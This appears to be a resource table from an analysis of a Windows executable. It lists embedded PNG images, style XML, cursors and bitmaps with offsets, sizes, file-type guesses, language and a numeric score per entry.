PNG	0x2ca940	0x167	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	0.9972144846796658
PNG	0x2caaa8	0x278	PNG image data, 70 x 31, 8-bit/color RGBA, non-interlaced	English	United States	1.0174050632911393
PNG	0x2cad20	0x11a	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	0.9680851063829787
PNG	0x2cae3c	0xd4	PNG image data, 22 x 38, 8-bit/color RGB, non-interlaced	English	United States	1.0235849056603774
PNG	0x2caf10	0x38d	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.012101210121012
PNG	0x2cb2a0	0x265	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0179445350734095
PNG	0x2cb508	0x11a	PNG image data, 30 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.0319148936170213
PNG	0x2cb624	0xaa	PNG image data, 2 x 19, 8-bit/color RGB, non-interlaced	English	United States	1.011764705882353
PNG	0x2cb6d0	0x12a	PNG image data, 20 x 40, 8-bit/color RGBA, non-interlaced	English	United States	1.0268456375838926
PNG	0x2cb7fc	0x209	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.021113243761996
PNG	0x2cba08	0xf5	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.0244897959183674
PNG	0x2cbb00	0xa6	PNG image data, 54 x 31, 8-bit/color RGB, non-interlaced	English	United States	1.0180722891566265
PNG	0x2cbba8	0x150	PNG image data, 54 x 124, 8-bit/color RGB, non-interlaced	English	United States	1.0327380952380953
PNG	0x2cbcf8	0xac	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	English	United States	1.0174418604651163
PNG	0x2cbda4	0x8b	PNG image data, 3 x 11, 8-bit/color RGBA, non-interlaced	English	United States	1.0
PNG	0x2cbe30	0x98	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.006578947368421
PNG	0x2cbec8	0x91	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.006896551724138
PNG	0x2cbf5c	0x7d	PNG image data, 15 x 3, 8-bit/color RGB, non-interlaced	English	United States	1.008
PNG	0x2cbfdc	0xa6	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	English	United States	1.0120481927710843
PNG	0x2cc084	0xbd	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	English	United States	1.0105820105820107
PNG	0x2cc144	0xa07	PNG image data, 13 x 156, 8-bit/color RGBA, non-interlaced	English	United States	1.004285157771718
PNG	0x2ccb4c	0x1de1	PNG image data, 52 x 336, 8-bit/color RGBA, non-interlaced	English	United States	1.0014380964832004
PNG	0x2ce930	0x1be	PNG image data, 38 x 38, 8-bit/color RGBA, non-interlaced	English	United States	1.0246636771300448
PNG	0x2ceaf0	0x53b	PNG image data, 30 x 16, 8-bit/color RGBA, non-interlaced	English	United States	1.0082150858849888
PNG	0x2cf02c	0x46c	PNG image data, 22 x 66, 8-bit/color RGBA, non-interlaced	English	United States	1.0097173144876326
PNG	0x2cf498	0xaf	PNG image data, 20 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.0171428571428571
PNG	0x2cf548	0x701	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0061349693251533
PNG	0x2cfc4c	0x498	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0093537414965987
PNG	0x2d00e4	0x5c1	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0074677528852682
PNG	0x2d06a8	0x539	PNG image data, 10 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0082273747195214
PNG	0x2d0be4	0x5c7	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0074374577417173
PNG	0x2d11ac	0x47f	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.009556907037359
PNG	0x2d162c	0x585	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0077848549186128
PNG	0x2d1bb4	0x546	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0081481481481482
PNG	0x2d20fc	0x4e1	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0088070456365092
PNG	0x2d25e0	0x5b0	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.007554945054945
PNG	0x2d2b90	0x1b3	PNG image data, 15 x 56, 8-bit/color RGBA, non-interlaced	English	United States	1.025287356321839
PNG	0x2d2d44	0xea	PNG image data, 32 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0299145299145298
PNG	0x2d2e30	0x1ad9	PNG image data, 38 x 114, 8-bit/color RGBA, non-interlaced	English	United States	1.0016004655899897
PNG	0x2d490c	0xb43	PNG image data, 22 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0038154699965314
PNG	0x2d5450	0x609	PNG image data, 11 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0071197411003237
PNG	0x2d5a5c	0x18ae	PNG image data, 43 x 234, 8-bit/color RGBA, non-interlaced	English	United States	1.0017410572966128
PNG	0x2d730c	0x1177	PNG image data, 43 x 135, 8-bit/color RGBA, non-interlaced	English	United States	1.0024602997092373
PNG	0x2d8484	0x25ec	PNG image data, 43 x 330, 8-bit/color RGBA, non-interlaced	English	United States	1.0011330861145447
PNG	0x2daa70	0xad3	PNG image data, 22 x 88, 8-bit/color RGBA, non-interlaced	English	United States	1.0039696860339227
PNG	0x2db544	0xbc8	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	English	United States	1.0036472148541113
PNG	0x2dc10c	0xc2e	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	English	United States	1.0035279025016035
PNG	0x2dcd3c	0x5dd	PNG image data, 15 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0073284477015323
PNG	0x2dd31c	0x597	PNG image data, 15 x 76, 8-bit/color RGBA, non-interlaced	English	United States	1.0076869322152342
PNG	0x2dd8b4	0x5f8	PNG image data, 15 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.007198952879581
PNG	0x2ddeac	0x228	PNG image data, 54 x 69, 8-bit/color RGBA, non-interlaced	English	United States	1.019927536231884
PNG	0x2de0d4	0x588	PNG image data, 22 x 44, 8-bit/color RGBA, non-interlaced	English	United States	1.0077683615819208
PNG	0x2de65c	0x38a	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0121412803532008
PNG	0x2de9e8	0x532	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0082706766917293
PNG	0x2def1c	0x32f	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0134969325153373
PNG	0x2df24c	0xef8	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	0.9950417536534447
PNG	0x2e0144	0x7c	PNG image data, 1 x 23, 8-bit/color RGBA, non-interlaced	English	United States	0.9919354838709677
PNG	0x2e01c0	0x13c1	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021752026893416
PNG	0x2e1584	0x37d	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0123180291153415
PNG	0x2e1904	0x395	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0119956379498365
PNG	0x2e1c9c	0x125e	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0023394300297745
PNG	0x2e2efc	0x13b4	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021808088818398
PNG	0x2e42b0	0x369	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0126002290950744
PNG	0x2e461c	0x3cc	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0113168724279835
PNG	0x2e49e8	0x1320	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.002246732026144
PNG	0x2e5d08	0x13ac	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021842732327244
PNG	0x2e70b4	0x364	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.012672811059908
PNG	0x2e7418	0x3ba	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0115303983228512
PNG	0x2e77d4	0x1274	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0023285351397122
PNG	0x2e8a48	0x139f	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021899263388414
PNG	0x2e9de8	0x380	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0122767857142858
PNG	0x2ea168	0x352	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0129411764705882
PNG	0x2ea4bc	0x1288	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.002318718381113
PNG	0x2eb744	0x99d	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	1.004469727752946
PNG	0x2ec0e4	0x2e6	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	1.0148247978436657
PNG	0x2ec3cc	0x13ad	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021838395870557
PNG	0x2ed77c	0x365	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0126582278481013
PNG	0x2edae4	0x374	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.012443438914027
PNG	0x2ede58	0x126b	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0023329798515377
PNG	0x2ef0c4	0xd4	PNG image data, 3 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.028301886792453
PNG	0x2ef198	0x1394	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.00219473264166
PNG	0x2f052c	0x374	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.012443438914027
PNG	0x2f08a0	0x3f4	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0108695652173914
PNG	0x2f0c94	0x1304	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0022596548890714
PNG	0x2f1f98	0x1397	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021934197407776
PNG	0x2f3330	0x373	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0124575311438277
PNG	0x2f36a4	0x33d	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0132689987937273
PNG	0x2f39e4	0x119e	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.002439024390244
PNG	0x2f4b84	0xa6	PNG image data, 15 x 15, 8-bit/color RGB, non-interlaced	English	United States	1.0120481927710843
PNG	0x2f4c2c	0x99d	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	1.004469727752946
PNG	0x2f55cc	0x2f7	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	1.0144927536231885
PNG	0x2f58c4	0x17e	PNG image data, 9 x 38, 8-bit/color RGBA, non-interlaced	English	United States	1.0287958115183247
PNG	0x2f5a44	0x71	PNG image data, 5 x 5, 8-bit/color RGB, non-interlaced	English	United States	0.9911504424778761
PNG	0x2f5ab8	0x117	PNG image data, 11 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.021505376344086
PNG	0x2f5bd0	0x67	PNG image data, 2 x 55, 8-bit/color RGBA, non-interlaced	English	United States	0.9902912621359223
PNG	0x2f5c38	0xd7	PNG image data, 90 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.0232558139534884
PNG	0x2f5d10	0xa40	PNG image data, 86 x 240, 8-bit/color RGBA, non-interlaced	English	United States	0.9733231707317073
PNG	0x2f6750	0x283	PNG image data, 86 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0171073094867806
PNG	0x2f69d4	0x93	PNG image data, 5 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0136054421768708
PNG	0x2f6a68	0x96a	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	English	United States	1.004564315352697
PNG	0x2f73d4	0x99b	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	English	United States	1.0044733631557543
PNG	0x2f7d70	0x2f7	PNG image data, 11 x 45, 8-bit/color RGBA, non-interlaced	English	United States	1.0144927536231885
PNG	0x2f8068	0x1d3	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.019271948608137
PNG	0x2f823c	0x1f8	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.0138888888888888
PNG	0x2f8434	0x67	PNG image data, 2 x 20, 8-bit/color RGB, non-interlaced	English	United States	0.9514563106796117
PNG	0x2f849c	0x95	PNG image data, 11 x 11, 8-bit/color RGBA, non-interlaced	English	United States	1.0
PNG	0x2f8534	0x39d	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.011891891891892
PNG	0x2f88d4	0x39d	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.011891891891892
PNG	0x2f8c74	0x1c1	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.024498886414254
PNG	0x2f8e38	0x153	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0324483775811208
PNG	0x2f8f8c	0x15f	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0113960113960114
PNG	0x2f90ec	0x100	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.03515625
PNG	0x2f91ec	0x108	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.018939393939394
PNG	0x2f92f4	0xb6	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.010989010989011
PNG	0x2f93ac	0x151	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.032640949554896
PNG	0x2f9500	0x135	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.029126213592233
PNG	0x2f9638	0xdd3	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	0.9960440802486578
PNG	0x2fa40c	0x129	PNG image data, 72 x 15, 8-bit/color RGB, non-interlaced	English	United States	1.0303030303030303
PNG	0x2fa538	0x10b	PNG image data, 30 x 24, 8-bit/color RGB, non-interlaced	English	United States	1.0337078651685394
PNG	0x2fa644	0x87	PNG image data, 35 x 3, 8-bit/color RGB, non-interlaced	English	United States	1.0074074074074073
PNG	0x2fa6cc	0x12f	PNG image data, 9 x 9, 8-bit/color RGB, non-interlaced	English	United States	1.0264026402640265
PNG	0x2fa7fc	0x48d	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.009442060085837
PNG	0x2fac8c	0xd5c	PNG image data, 72 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.003216374269006
PNG	0x2fb9e8	0x38d	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.012101210121012
PNG	0x2fbd78	0x265	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0179445350734095
PNG	0x2fbfe0	0x12a	PNG image data, 20 x 40, 8-bit/color RGBA, non-interlaced	English	United States	1.0268456375838926
PNG	0x2fc10c	0xcb5	PNG image data, 10 x 28, 8-bit/color RGBA, non-interlaced	English	United States	1.0033814940055334
PNG	0x2fcdc4	0xb8b	PNG image data, 10 x 28, 8-bit/color RGBA, non-interlaced	English	United States	1.0037225042301186
PNG	0x2fd950	0xb50	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	English	United States	1.0037983425414365
PNG	0x2fe4a0	0x2885	PNG image data, 42 x 348, 8-bit/color RGBA, non-interlaced	English	United States	1.0010604453870626
PNG	0x300d28	0xd8e	PNG image data, 38 x 38, 8-bit/color RGBA, non-interlaced	English	United States	1.0031700288184437
PNG	0x301ab8	0x53b	PNG image data, 30 x 16, 8-bit/color RGBA, non-interlaced	English	United States	1.0082150858849888
PNG	0x301ff4	0x10a5	PNG image data, 22 x 66, 8-bit/color RGBA, non-interlaced	English	United States	1.0025815536259095
PNG	0x30309c	0x1035	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.002651241262955
PNG	0x3040d4	0xe81	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0029625639644493
PNG	0x304f58	0xedb	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0028924533263213
PNG	0x305e34	0xf2f	PNG image data, 10 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0028299459737586
PNG	0x306d64	0xeee	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0028780743066457
PNG	0x307c54	0xe64	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.002985884907709
PNG	0x308ab8	0xf4b	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0028097062579822
PNG	0x309a04	0xf36	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.002824858757062
PNG	0x30a93c	0xe9b	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0029419630917358
PNG	0x30b7d8	0xfa9	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0027438263906212
PNG	0x30c784	0x1b3	PNG image data, 15 x 56, 8-bit/color RGBA, non-interlaced	English	United States	1.025287356321839
PNG	0x30c938	0xea	PNG image data, 32 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0299145299145298
PNG	0x30ca24	0x1936	PNG image data, 56 x 69, 8-bit/color RGBA, non-interlaced	English	United States	1.001704369383328
PNG	0x30e35c	0xb43	PNG image data, 22 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0038154699965314
PNG	0x30eea0	0x609	PNG image data, 11 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0071197411003237
PNG	0x30f4ac	0x18ae	PNG image data, 43 x 234, 8-bit/color RGBA, non-interlaced	English	United States	1.0017410572966128
PNG	0x310d5c	0x1177	PNG image data, 43 x 135, 8-bit/color RGBA, non-interlaced	English	United States	1.0024602997092373
PNG	0x311ed4	0x25ec	PNG image data, 43 x 330, 8-bit/color RGBA, non-interlaced	English	United States	1.0011330861145447
PNG	0x3144c0	0x1521	PNG image data, 22 x 88, 8-bit/color RGBA, non-interlaced	English	United States	1.00203364762433
PNG	0x3159e4	0xbc8	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	English	United States	1.0036472148541113
PNG	0x3165ac	0xc2e	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	English	United States	1.0035279025016035
PNG	0x3171dc	0x10ae	PNG image data, 15 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.002576112412178
PNG	0x31828c	0x105a	PNG image data, 15 x 76, 8-bit/color RGBA, non-interlaced	English	United States	1.0026278069756331
PNG	0x3192e8	0x10cf	PNG image data, 15 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.0025563560306763
PNG	0x31a3b8	0x588	PNG image data, 22 x 44, 8-bit/color RGBA, non-interlaced	English	United States	1.0077683615819208
PNG	0x31a940	0xdc7	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0031187978451943
PNG	0x31b708	0xc59	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0034799114204365
PNG	0x31c364	0xece	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0021108179419524
PNG	0x31d234	0x7c	PNG image data, 1 x 23, 8-bit/color RGBA, non-interlaced	English	United States	0.9919354838709677
PNG	0x31d2b0	0xaf6	PNG image data, 3 x 3, 8-bit/color RGBA, non-interlaced	English	United States	1.00392017106201
PNG	0x31dda8	0xafd	PNG image data, 3 x 3, 8-bit/color RGBA, non-interlaced	English	United States	1.0039104159260577
PNG	0x31e8a8	0x1570	PNG image data, 18 x 72, 8-bit/color RGBA, non-interlaced	English	United States	1.0020043731778425
PNG	0x31fe18	0x1623	PNG image data, 18 x 72, 8-bit/color RGBA, non-interlaced	English	United States	1.0019410622904534
STYLE_XML	0x32143c	0x4e01	HTML document, ASCII text, with CRLF line terminators	English	United States	0.1839851770243878
STYLE_XML	0x326240	0x4b09	HTML document, ASCII text, with CRLF line terminators	English	United States	0.20396689052006872
STYLE_XML	0x32ad4c	0x4aa6	HTML document, ASCII text, with CRLF line terminators	English	United States	0.20460491889063318
STYLE_XML	0x32f7f4	0x4a18	HTML document, ASCII text, with CRLF line terminators	English	United States	0.20397511598481655
STYLE_XML	0x33420c	0x16ad	HTML document, ASCII text, with CRLF line terminators	English	United States	0.1982773471145564
RT_CURSOR	0x3358bc	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4805194805194805
RT_CURSOR	0x3359f0	0xb4	Targa image data - Map 32 x 65536 x 1 +16 "\001"	English	United States	0.7
RT_CURSOR	0x335aa4	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x335bd8	0xb4	Targa image data - RLE 32 x 65536 x 1 +16 "\001"	English	United States	0.5944444444444444
RT_CURSOR	0x335c8c	0x134	AmigaOS bitmap font "(", fc_YSize 4294967288, 3840 elements, 2nd "\377\370\037\377\377\370\037\377\377\370\037\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.32142857142857145
RT_CURSOR	0x335dc0	0xb4	Targa image data - RLE 32 x 65536 x 1 +16 "\001"	English	United States	0.49444444444444446
RT_CURSOR	0x335e74	0x134	AmigaOS bitmap font "(", fc_YSize 4294967288, 3840 elements, 2nd "\377\360\037\377\377\370?\377\377\374\177\377\377\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.33766233766233766
RT_CURSOR	0x335fa8	0xb4	Targa image data - RLE 32 x 65536 x 1 +16 "\001"	English	United States	0.5
RT_CURSOR	0x33605c	0x134	AmigaOS bitmap font "(", fc_YSize 4294966787, 3840 elements, 2nd "\377\003\300\377\377\200\001\377\377\300\003\377\377\340\007\377\377\370\037\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.5616883116883117
RT_CURSOR	0x336190	0xb4	Targa image data - RLE 32 x 65536 x 1 +16 "\001"	English	United States	0.5444444444444444
RT_CURSOR	0x336244	0x134	AmigaOS bitmap font "(", fc_YSize 4294967264, 5120 elements, 2nd "\377\360?\377\377\370\177\377\377\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.36363636363636365
RT_CURSOR	0x336378	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.35714285714285715
RT_CURSOR	0x3364ac	0x134	data	English	United States	0.37337662337662336
RT_CURSOR	0x3365e0	0x134	data	English	United States	0.37662337662337664
RT_CURSOR	0x336714	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	English	United States	0.36688311688311687
RT_CURSOR	0x336848	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	English	United States	0.37662337662337664
RT_CURSOR	0x33697c	0x134	Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.36688311688311687
RT_CURSOR	0x336ab0	0x134	Targa image data - RGB - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x336be4	0x134	data	English	United States	0.44155844155844154
RT_CURSOR	0x336d18	0x134	data	English	United States	0.4155844155844156
RT_CURSOR	0x336e4c	0x134	AmigaOS bitmap font "(", fc_YSize 4294966847, 3840 elements, 2nd "\377?\374\377\377\300\003\377\377\300\003\377\377\340\007\377\377\360\017\377\377\370\037\377\377\374?\377\377\376\177\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.5422077922077922
RT_CURSOR	0x336f80	0x134	data	English	United States	0.2662337662337662
RT_CURSOR	0x3370b4	0x134	data	English	United States	0.2824675324675325
RT_CURSOR	0x3371e8	0x134	data	English	United States	0.3246753246753247
RT_CURSOR	0x33731c	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.4025974025974026
RT_CURSOR	0x337450	0xb4	data	English	United States	0.55
RT_CURSOR	0x337504	0x134	data	English	United States	0.20454545454545456
RT_CURSOR	0x337638	0x134	data	English	United States	0.2857142857142857
RT_CURSOR	0x33776c	0x134	data	English	United States	0.4675324675324675
RT_CURSOR	0x3378a0	0x134	data	English	United States	0.2532467532467532
RT_CURSOR	0x3379d4	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.40584415584415584
RT_CURSOR	0x337b08	0x134	data	English	United States	0.4383116883116883
RT_CURSOR	0x337c3c	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_CURSOR	0x337d70	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"	English	United States	0.39285714285714285
RT_CURSOR	0x337ea4	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"	English	United States	0.4512987012987013
RT_CURSOR	0x337fd8	0x134	data	English	United States	0.37337662337662336
RT_CURSOR	0x33810c	0x134	data	English	United States	0.4448051948051948
RT_CURSOR	0x338240	0x134	data	English	United States	0.525974025974026
RT_CURSOR	0x338374	0x2ec	Targa image data - Map 64 x 65536 x 1 +32 "\004"	English	United States	0.25
RT_CURSOR	0x338660	0x8ac	data	English	United States	0.2671171171171171
RT_CURSOR	0x338f0c	0xcac	data	English	United States	0.059186189889025895
RT_CURSOR	0x339bb8	0x10ac	data	English	United States	0.048266166822867856
RT_BITMAP	0x33ac64	0xaf36	Device independent bitmap graphic, 354 x 123 x 8, image size 43790, resolution 2834 x 2834 px/m	English	United States	0.47159673607705
RT_BITMAP	0x345b9c	0x8c52	Device independent bitmap graphic, 102 x 343 x 8, image size 35674, resolution 3542 x 3542 px/m, 52 important colors	English	United States	0.06825900562329491
RT_BITMAP	0x34e7f0	0x62c	Device independent bitmap graphic, 324 x 9 x 4, image size 1476	English	United States	0.2430379746835443
RT_BITMAP	0x34ee1c	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.5818965517241379
RT_BITMAP	0x34ef04	0x4a0	Device independent bitmap graphic, 144 x 15 x 4, image size 1080	English	United States	0.3783783783783784
RT_BITMAP	0x34f3a4	0x197a	Device independent bitmap graphic, 144 x 15 x 24, image size 6482, resolution 2834 x 2834 px/m	English	United States	0.380098129408157
RT_BITMAP	0x350d20	0xc8	Device independent bitmap graphic, 13 x 12 x 4, image size 96	English	United States	0.51
RT_BITMAP	0x350de8	0xc8	Device independent bitmap graphic, 13 x 12 x 4, image size 96	English	United States	0.515
RT_BITMAP	0x350eb0	0xc8	Device independent bitmap graphic, 13 x 12 x 4, image size 96	English	United States	0.43
RT_BITMAP	0x350f78	0xc8	Device independent bitmap graphic, 13 x 12 x 4, image size 96	English	United States	0.44
RT_BITMAP	0x351040	0x182a	Device independent bitmap graphic, 128 x 16 x 24, image size 6146, resolution 2834 x 2834 px/m	English	United States	0.2924345295829292
RT_BITMAP	0x35286c	0x468	Device independent bitmap graphic, 128 x 16 x 4, image size 1024	English	United States	0.3058510638297872
RT_BITMAP	0x352cd4	0x528	Device independent bitmap graphic, 16 x 16 x 8, image size 256	English	United States	0.4803030303030303
RT_BITMAP	0x3531fc	0x528	Device independent bitmap graphic, 16 x 16 x 8, image size 256	English	United States	0.4765151515151515
RT_BITMAP	0x353724	0x158	Device independent bitmap graphic, 32 x 15 x 4, image size 240	English	United States	0.41569767441860467
RT_BITMAP	0x35387c	0x188	Device independent bitmap graphic, 48 x 12 x 4, image size 288	English	United States	0.39285714285714285
RT_BITMAP	0x353a04	0x1e8	Device independent bitmap graphic, 48 x 16 x 4, image size 384	English	United States	0.5081967213114754
RT_BITMAP	0x353bec	0xad2	Device independent bitmap graphic, 29 x 31 x 24, image size 2730, resolution 2834 x 2834 px/m	English	United States	0.18736462093862816
RT_BITMAP	0x3546c0	0xad2	Device independent bitmap graphic, 29 x 31 x 24, image size 2730, resolution 2834 x 2834 px/m	English	United States	0.1844765342960289
RT_BITMAP	0x355194	0xb0a	Device independent bitmap graphic, 31 x 29 x 24, image size 2786, resolution 2834 x 2834 px/m	English	United States	0.19497523000707714
RT_BITMAP	0x355ca0	0x7e2	Device independent bitmap graphic, 25 x 26 x 24, image size 1978, resolution 2834 x 2834 px/m	English	United States	0.24033696729435083
RT_BITMAP	0x356484	0xb0a	Device independent bitmap graphic, 31 x 29 x 24, image size 2786, resolution 2834 x 2834 px/m	English	United States	0.1935598018400566
RT_BITMAP	0x356f90	0x134	Device independent bitmap graphic, 17 x 17 x 4, image size 204	English	United States	0.37337662337662336
RT_BITMAP	0x3570c4	0x92a	Device independent bitmap graphic, 48 x 16 x 24, image size 2306, resolution 2834 x 2834 px/m	English	United States	0.6577152600170503
RT_BITMAP	0x3579f0	0x32a	Device independent bitmap graphic, 16 x 16 x 24, image size 770, resolution 2834 x 2834 px/m	English	United States	0.7518518518518519
RT_BITMAP	0x357d1c	0x32a	Device independent bitmap graphic, 16 x 16 x 24, image size 770, resolution 2834 x 2834 px/m	English	United States	0.3790123456790123
